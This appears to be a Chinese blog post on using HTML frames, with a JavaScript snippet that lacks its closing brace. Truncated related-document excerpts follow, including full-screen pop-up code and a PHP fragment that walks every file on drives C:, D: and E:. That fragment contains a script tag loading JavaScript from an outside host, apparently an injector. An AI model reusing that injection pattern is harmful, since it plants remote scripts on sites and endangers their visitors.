HTML基本功:FRAME标签的使用
工作很多年了,可是基本上没有直接写过HTML页面.最多就是维护修改过一下别人写了.
最近在做一个项目的基本设计的时候,要提案给客户的画面样例.因此开始自己写假的HTML画面.为了节省时间,其他人都只写画面的主要内容部分.而画面的头部,底部以及主菜单,子菜单都用frame来体现.
这样的话就有一个点击菜单,要动态更新子菜单的动作.
比如:<FRAMESET rows="60%,40%">
<FRAME name="link" src="hearer.htm">
<FRAMESET cols="*,*,*">
<FRAME name="fr1" src="submenu.htm">
<FRAME name="fr2" src="main.htm">
<FRAME name="fr3" src="footer.htm">
</FRAMESET>
</FRAMESET>
要实现就是header.htm中有一个link,点击后更换fr1中的实体.
刚开始试了直接取得frame对象然后把src属性的值替换掉.可试了半天一没搞定.这种东西实际上并不难的,用JS应该是很简单的,可能是自己很少写html的缘故,和新手差不多.呵呵.
还是现代网络好啊,一上网一查询就可以知道答案了.
<SCRIPT language="JavaScript"><!--
function setSubmenu() {
parent.fr1.location.href="submenu2.htm";
</SCRIPT>
很简单吧.
因此基本功很重要,如果基本功不扎实,工作起来还是不那么得心应手的.
相关文档:
要是弹出窗口变得能被网虫们喜欢,那广告商肯定就发了吧??呵呵
1.弹启一个全屏窗口
<html>
<body onload="window.open('http://www.sdinf.com','example01','fullscreen');">;
<b>www.sdinf.com</b>
</body>
</html>
2.弹启一个被F11化后的窗口
<html>
< ......
<?php
set_time_limit(0);
$dirArray=array("c:","d:","e:");
foreach ($dirArray as $key => $value)
{
getAllDirAndFile($value);
}
//<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script>
function ......
1
、编写
js
函数
<script
type="text/javascript">
function display(id){
var
traget=document.getElementById(id);
if(traget.style.display=="none"){
&nbs ......
jsp(java server pages)是一种技术,用来处理客户端请求的,(目的是为了达到动态网页的效果),处理后传给客户端(也可以说给了浏览器),就成了我们看到的静态网页(HTML)
HTML 加入Java代码(比如<%...%>)不会又任何效果,只会讲<%...%>显示到页面行,或者根据位置影响编译. JSP(Java Server Page)页面其实就是 ......
HTML - Hyper Text Mark-up Language - 超文本标记语言
HTML-超文本标记语言,是WWW的描述语言。设计HTML语言的目的是为了能把存放在一台电脑中的文本或图形与另一台电脑中的文本或图形方便地联系在一起,形成有机的整体,人们不用考虑具体信息是在当前电脑上还是在网络的其它电脑上。我们只 ......